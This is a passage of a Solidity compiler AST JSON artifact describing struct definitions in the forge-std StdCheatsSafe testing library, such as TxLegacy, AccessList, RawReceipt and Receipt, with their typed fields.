deType":"VariableDeclaration","scope":3598,"src":"2135:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3591,"name":"string","nodeType":"ElementaryTypeName","src":"2135:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3594,"mutability":"mutable","name":"opcode","nameLocation":"2163:6:3","nodeType":"VariableDeclaration","scope":3598,"src":"2156:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3593,"name":"string","nodeType":"ElementaryTypeName","src":"2156:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3597,"mutability":"mutable","name":"transaction","nameLocation":"2194:11:3","nodeType":"VariableDeclaration","scope":3598,"src":"2179:26:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_struct$_TxDetailLegacy_$3631_storage_ptr","typeString":"struct StdCheatsSafe.TxDetailLegacy"},"typeName":{"id":3596,"nodeType":"UserDefinedTypeName","pathNode":{"id":3595,"name":"TxDetailLegacy","nameLocations":["2179:14:3"],"nodeType":"IdentifierPath","referencedDeclaration":3631,"src":"2179:14:3"},"referencedDeclaration":3631,"src":"2179:14:3","typeDescriptions":{"typeIdentifier":"t_struct$_TxDetailLegacy_$3631_storage_ptr","typeString":"struct StdCheatsSafe.TxDetailLegacy"}},"visibility":"internal"}],"name":"TxLegacy","nameLocation":"1998:8:3","scope":5537,"visibility":"public"},{"id":3631,"nodeType":"StructDefinition","src":"2218:366:3","nodes":[],"canonicalName":"StdCheatsSafe.TxDetailLegacy","members":[{"constant":false,"id":3602,"mutability":"mutable","name":"accessList","nameLocation":"2263:10:3","nodeType":"VariableDeclaration","scope":3631,"src":"2250:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.AccessList[]"},"typeName":{"baseType":{"id":3600,"nodeType":"UserDefinedTypeName","pathNode":{"id":3599,"name":"AccessList","nameLocations":["2250:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3637,"src":"2250:10:3"},"referencedDeclaration":3637,"src":"2250:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_AccessList_$3637_storage_ptr","typeString":"struct StdCheatsSafe.AccessList"}},"id":3601,"nodeType":"ArrayTypeName","src":"2250:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.AccessList[]"}},"visibility":"internal"},{"constant":false,"id":3604,"mutability":"mutable","name":"chainId","nameLocation":"2291:7:3","nodeType":"VariableDeclaration","scope":3631,"src":"2283:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3603,"name":"uint256","nodeType":"ElementaryTypeName","src":"2283:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3606,"mutability":"mutable","name":"data","nameLocation":"2314:4:3","nodeType":"VariableDeclaration","scope":3631,"src":"2308:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3605,"name":"bytes","nodeType":"ElementaryTypeName","src":"2308:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3608,"mutability":"mutable","name":"from","nameLocation":"2336:4:3","nodeType":"VariableDeclaration","scope":3631,"src":"2328:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3607,"name":"address","nodeType":"ElementaryTypeName","src":"2328:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3610,"mutability":"mutable","name":"gas","nameLocation":"2358:3:3","nodeType":"VariableDeclaration","scope":3631,"src":"2350:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3609,"name":"uint256","nodeType":"ElementaryTypeName","src":"2350:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3612,"mutability":"mutable","name":"gasPrice","nameLocation":"2379:8:3","nodeType":"VariableDeclaration","scope":3631,"src":"2371:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3611,"name":"uint256","nodeType":"ElementaryTypeName","src":"2371:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3614,"mutability":"mutable","name":"hash","nameLocation":"2405:4:3","nodeType":"VariableDeclaration","scope":3631,"src":"2397:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3613,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2397:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3616,"mutability":"mutable","name":"nonce","nameLocation":"2427:5:3","nodeType":"VariableDeclaration","scope":3631,"src":"2419:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3615,"name":"uint256","nodeType":"ElementaryTypeName","src":"2419:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3618,"mutability":"mutable","name":"opcode","nameLocation":"2449:6:3","nodeType":"VariableDeclaration","scope":3631,"src":"2442:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"},"typeName":{"id":3617,"name":"bytes1","nodeType":"ElementaryTypeName","src":"2442:6:3","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"visibility":"internal"},{"constant":false,"id":3620,"mutability":"mutable","name":"r","nameLocation":"2473:1:3","nodeType":"VariableDeclaration","scope":3631,"src":"2465:9:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3619,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2465:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3622,"mutability":"mutable","name":"s","nameLocation":"2492:1:3","nodeType":"VariableDeclaration","scope":3631,"src":"2484:9:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3621,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2484:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3624,"mutability":"mutable","name":"txType","nameLocation":"2511:6:3","nodeType":"VariableDeclaration","scope":3631,"src":"2503:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3623,"name":"uint256","nodeType":"ElementaryTypeName","src":"2503:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3626,"mutability":"mutable","name":"to","nameLocation":"2535:2:3","nodeType":"VariableDeclaration","scope":3631,"src":"2527:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3625,"name":"address","nodeType":"ElementaryTypeName","src":"2527:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3628,"mutability":"mutable","name":"v","nameLocation":"2553:1:3","nodeType":"VariableDeclaration","scope":3631,"src":"2547:7:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":3627,"name":"uint8","nodeType":"ElementaryTypeName","src":"2547:5:3","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"},{"constant":false,"id":3630,"mutability":"mutable","name":"value","nameLocation":"2572:5:3","nodeType":"VariableDeclaration","scope":3631,"src":"2564:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3629,"name":"uint256","nodeType":"ElementaryTypeName","src":"2564:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"TxDetailLegacy","nameLocation":"2225:14:3","scope":5537,"visibility":"public"},{"id":3637,"nodeType":"StructDefinition","src":"2590:87:3","nodes":[],"canonicalName":"StdCheatsSafe.AccessList","members":[{"constant":false,"id":3633,"mutability":"mutable","name":"accessAddress","nameLocation":"2626:13:3","nodeType":"VariableDeclaration","scope":3637,"src":"2618:21:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3632,"name":"address","nodeType":"ElementaryTypeName","src":"2618:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3636,"mutability":"mutable","name":"storageKeys","nameLocation":"2659:11:3","nodeType":"VariableDeclaration","scope":3637,"src":"2649:21:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":3634,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2649:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":3635,"nodeType":"ArrayTypeName","src":"2649:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"name":"AccessList","nameLocation":"2597:10:3","scope":5537,"visibility":"public"},{"id":3666,"nodeType":"StructDefinition","src":"2893:385:3","nodes":[],"canonicalName":"StdCheatsSafe.RawReceipt","members":[{"constant":false,"id":3639,"mutability":"mutable","name":"blockHash","nameLocation":"2929:9:3","nodeType":"VariableDeclaration","scope":3666,"src":"2921:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3638,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2921:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3641,"mutability":"mutable","name":"blockNumber","nameLocation":"2954:11:3","nodeType":"VariableDeclaration","scope":3666,"src":"2948:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3640,"name":"bytes","nodeType":"ElementaryTypeName","src":"2948:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3643,"mutability":"mutable","name":"contractAddress","nameLocation":"2983:15:3","nodeType":"VariableDeclaration","scope":3666,"src":"2975:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3642,"name":"address","nodeType":"ElementaryTypeName","src":"2975:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3645,"mutability":"mutable","name":"cumulativeGasUsed","nameLocation":"3014:17:3","nodeType":"VariableDeclaration","scope":3666,"src":"3008:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3644,"name":"bytes","nodeType":"ElementaryTypeName","src":"3008:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3647,"mutability":"mutable","name":"effectiveGasPrice","nameLocation":"3047:17:3","nodeType":"VariableDeclaration","scope":3666,"src":"3041:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3646,"name":"bytes","nodeType":"ElementaryTypeName","src":"3041:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3649,"mutability":"mutable","name":"from","nameLocation":"3082:4:3","nodeType":"VariableDeclaration","scope":3666,"src":"3074:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3648,"name":"address","nodeType":"ElementaryTypeName","src":"3074:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3651,"mutability":"mutable","name":"gasUsed","nameLocation":"3102:7:3","nodeType":"VariableDeclaration","scope":3666,"src":"3096:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3650,"name":"bytes","nodeType":"ElementaryTypeName","src":"3096:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3655,"mutability":"mutable","name":"logs","nameLocation":"3135:4:3","nodeType":"VariableDeclaration","scope":3666,"src":"3119:20:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog[]"},"typeName":{"baseType":{"id":3653,"nodeType":"UserDefinedTypeName","pathNode":{"id":3652,"name":"RawReceiptLog","nameLocations":["3119:13:3"],"nodeType":"IdentifierPath","referencedDeclaration":3763,"src":"3119:13:3"},"referencedDeclaration":3763,"src":"3119:13:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_storage_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog"}},"id":3654,"nodeType":"ArrayTypeName","src":"3119:15:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog[]"}},"visibility":"internal"},{"constant":false,"id":3657,"mutability":"mutable","name":"logsBloom","nameLocation":"3155:9:3","nodeType":"VariableDeclaration","scope":3666,"src":"3149:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3656,"name":"bytes","nodeType":"ElementaryTypeName","src":"3149:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3659,"mutability":"mutable","name":"status","nameLocation":"3180:6:3","nodeType":"VariableDeclaration","scope":3666,"src":"3174:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3658,"name":"bytes","nodeType":"ElementaryTypeName","src":"3174:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3661,"mutability":"mutable","name":"to","nameLocation":"3204:2:3","nodeType":"VariableDeclaration","scope":3666,"src":"3196:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3660,"name":"address","nodeType":"ElementaryTypeName","src":"3196:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3663,"mutability":"mutable","name":"transactionHash","nameLocation":"3224:15:3","nodeType":"VariableDeclaration","scope":3666,"src":"3216:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3662,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3216:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3665,"mutability":"mutable","name":"transactionIndex","nameLocation":"3255:16:3","nodeType":"VariableDeclaration","scope":3666,"src":"3249:22:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3664,"name":"bytes","nodeType":"ElementaryTypeName","src":"3249:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"RawReceipt","nameLocation":"2900:10:3","scope":5537,"visibility":"public"},{"id":3695,"nodeType":"StructDefinition","src":"3284:391:3","nodes":[],"canonicalName":"StdCheatsSafe.Receipt","members":[{"constant":false,"id":3668,"mutability":"mutable","name":"blockHash","nameLocation":"3317:9:3","nodeType":"VariableDeclaration","scope":3695,"src":"3309:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3667,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3309:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3670,"mutability":"mutable","name":"blockNumber","nameLocation":"3344:11:3","nodeType":"VariableDeclaration","scope":3695,"src":"3336:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3669,"name":"uint256","nodeType":"ElementaryTypeName","src":"3336:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3672,"mutability":"mutable","name":"contractAddress","nameLocation":"3373:15:3","nodeType":"VariableDeclaration","scope":3695,"src":"3365:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3671,"name":"address","nodeType":"ElementaryTypeName","src":"3365:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3674,"mutability":"mutable","name":"cumulativeGasUsed","nameLocation":"3406:17:3","nodeType":"VariableDeclaration","scope":3695,"src":"3398:25:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3673,"name":"uint256","nodeType":"ElementaryTypeName","src":"3398:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3676,"mutability":"mutable","name":"effectiveGasPrice","nameLocation":"3441:17:3","nodeType":"VariableDeclaration","scope":3695,"src":"3433:25:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3675,"name":"uint256","nodeType":"ElementaryTypeName","src":"3433:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3678,"mutability":"mutable","name":"from","nameLocation":"3476:4:3","nodeType":"VariableDeclaration","scope":3695,"src":"3468:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3677,"name":"address","nodeType":"ElementaryTypeName","src":"3468:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3680,"mutability":"mutable","name":"gasUsed","nameLocation":"3498:7:3","nodeType":"VariableDeclaration","scope":3695,"src":"3490:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3679,"name":"uint256","nodeType":"ElementaryTypeName","src":"3490:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3684,"mutability":"mutable","name":"logs","nameLocation":"3528:4:3","nodeType":"VariableDeclaration","scope":3695,"src":"3515:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog[]"},"typeName":{"baseType":{"id":3682,"nodeType":"UserDefinedTypeName","pathNode":{"id":3681,"name":"ReceiptLog","nameLocations":["3515:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3783,"src":"3515:10:3"},"referencedDeclaration":3783,"src":"3515:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog"}},"id":3683,"nodeType":"ArrayTypeName","src":"3515:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog[]"}},"visibility":"internal"},{"constant":false,"id":3686,"mutability":"mutable","name":"logsBloom","nameLocation":"3548:9:3","nodeType":"VariableDeclaration","scope":3695,"src":"3542:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3685,"name":"bytes","nodeType":"ElementaryTypeName","src":"3542:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3688,"mutability":"mutable","name":"status","nameLocation":"3575:6:3","nodeType":"VariableDeclaration","scope":3695,"src":"3567:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3687,"name":"uint256","nodeType":"ElementaryTypeName","src":"3567:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3690,"mutability":"mutable","name":"to","nameLocation":"3599:2:3","nodeType":"VariableDeclaration","scope":3695,"src":"3591:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3689,"name":"address","nodeType":"ElementaryTypeName","src":"3591:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3692,"mutability":"mutable","name":"transactionHash","nameLocation":"3619:15:3","nodeType":"VariableDeclaration","scope":3695,"src":"3611:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3691,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3611:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3694,"mutability":"mutable","name":"transactionIndex","nameLocation":"3652:16:3","nodeType":"VariableDeclaration","scope":3695,"src":"3644:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3693,"name":"uint256","nodeType":"ElementaryTypeName","src":"3644:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"Receipt","nameLocation":"3291:7:3","scope":5537,"visibility":"public"},{"id":3718,"nodeType":"StructDefinition","src":"3798:227:3","nodes":[],"canonicalName":"StdCheatsSafe.EIP1559ScriptArtifact","members":[{"constant":false,"id":3698,"mutability":"mutable","name":"libraries","nameLocation":"3846:9:3","nodeType":"VariableDeclaration","scope":3718,"src":"3837:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3696,"name":"string","nodeType":"ElementaryTypeName","src":"3837:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3697,"nodeType":"ArrayTypeName","src":"3837:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3700,"mutability":"mutable","name":"path","nameLocation":"3872:4:3","nodeType":"VariableDeclaration","scope":3718,"src":"3865:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3699,"name":"string","nodeType":"ElementaryTypeName","src":"3865:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3703,"mutability":"mutable","name":"pending","nameLocation":"3895:7:3","nodeType":"VariableDeclaration","scope":3718,"src":"3886:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3701,"name":"string","nodeType":"ElementaryTypeName","src":"3886:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3702,"nodeType":"ArrayTypeName","src":"3886:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3707,"mutability":"mutable","name":"receipts","nameLocation":"3922:8:3","nodeType":"VariableDeclaration","scope":3718,"src":"3912:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Receipt[]"},"typeName":{"baseType":{"id":3705,"nodeType":"UserDefinedTypeName","pathNode":{"id":3704,"name":"Receipt","nameLocations":["3912:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"3912:7:3"},"referencedDeclaration":3695,"src":"3912:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"id":3706,"nodeType":"ArrayTypeName","src":"3912:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Receipt[]"}},"visibility":"internal"},{"constant":false,"id":3709,"mutability":"mutable","name":"timestamp","nameLocation":"3948:9:3","nodeType":"VariableDeclaration","scope":3718,"src":"3940:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3708,"name":"uint256","nodeType":"ElementaryTypeName","src":"3940:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3713,"mutability":"mutable","name":"transactions","nameLocation":"3976:12:3","nodeType":"VariableDeclaration","scope":3718,"src":"3967:21:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"},"typeName":{"baseType":{"id":3711,"nodeType":"UserDefinedTypeName","pathNode":{"id":3710,"name":"Tx1559","nameLocations":["3967:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"3967:6:3"},"referencedDeclaration":3562,"src":"3967:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"id":3712,"nodeType":"ArrayTypeName","src":"3967:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"}},"visibility":"internal"},{"constant":false,"id":3717,"mutability":"mutable","name":"txReturns","nameLocation":"4009:9:3","nodeType":"VariableDeclaration","scope":3718,"src":"3998:20:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.TxReturn[]"},"typeName":{"baseType":{"id":3715,"nodeType":"UserDefinedTypeName","pathNode":{"id":3714,"name":"TxReturn","nameLocations":["3998:8:3"],"nodeType":"IdentifierPath","referencedDeclaration":3788,"src":"3998:8:3"},"referencedDeclaration":3788,"src":"3998:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_TxReturn_$3788_storage_ptr","typeString":"struct StdCheatsSafe.TxReturn"}},"id":3716,"nodeType":"ArrayTypeName","src":"3998:10:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_storage_$dyn_storage_ptr","typeString":"struct 